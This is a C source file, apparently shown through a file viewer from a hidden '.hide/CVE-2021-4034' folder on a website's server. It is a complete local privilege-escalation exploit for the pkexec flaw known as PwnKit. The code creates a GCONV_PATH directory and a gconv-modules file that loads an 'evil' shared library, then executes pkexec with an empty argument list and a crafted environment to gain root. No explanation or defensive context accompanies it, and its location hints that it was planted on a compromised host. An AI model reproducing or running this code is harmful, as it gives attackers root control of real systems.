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Current File : /home/bitrix/ext_www/klimatlend.ua/.hide/CVE-2021-4034/exploit.c

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}